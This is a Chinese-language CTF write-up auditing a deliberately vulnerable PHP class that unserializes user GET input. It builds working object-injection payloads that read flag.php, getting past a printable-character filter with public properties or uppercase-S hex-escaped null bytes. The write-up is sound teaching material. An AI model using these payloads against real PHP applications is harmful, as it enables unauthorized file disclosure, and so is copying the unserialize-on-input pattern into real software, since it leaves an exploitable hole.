一道PHP代码审计题目
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
主要分三块分析,FileHandler类、is_valid( )函数和get传参
从最后的传参函数开始
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
传入一个str字符串变量,经过is_valid( )函数,然后对变量进行反序列化
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
然后is_vaild函数主要检查传入变量的每个字符的ASCII码是否都是在32~125之间
接下来是FileHandler类,入手是__construct( )和__destruct( )两个魔术函数方法,__construct( )是创建新对象是调用,这里没有新对象创建,只能是__destruct( )在对象毁灭时调用
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
这里先判断op的值,如果op===‘2’则会覆盖为’1’,目前不知道是干嘛的,往下走,然后对content进行置空,调用process方法
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
如果op==‘1’,进入write( ),如果op==‘2’,就进入read( ),同时output( )输出
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
判断filename是否存在,然后将filename文件内容返回输出
所以我们要从process( )进入read( ),因此要让op=2,而前面__destruct( )方法是强等号(===)判断,让op=2即可以绕过
所以,可以构造Payload
<?php
class FileHandler {
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
?>
传入后发现不行,原因是private和protect类型在序列化的时候会引入不可见字符\x00,这些字符对应的ASCII码为0,经过is_valid函数以后会返回false,不能通过is_valid函数的检验
- 到这里,有两个办法可以进行绕过
1、在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过
<?php
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
public $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>
2、在PHP序列化字符串中,只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示,从而绕过
注:chr(0)的值是0,表示成十六进制是0x00,表示成二进制是00000000,虽然chr(0)不会显示出什么,但是它是一个字符
<?php
class FileHandler{
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
}
$a = serialize(new FileHandler);
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo urlencode($a);
//O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
?>
然后直接查看源码
考查点:代码审计,反序列化,ASCII码为0的情况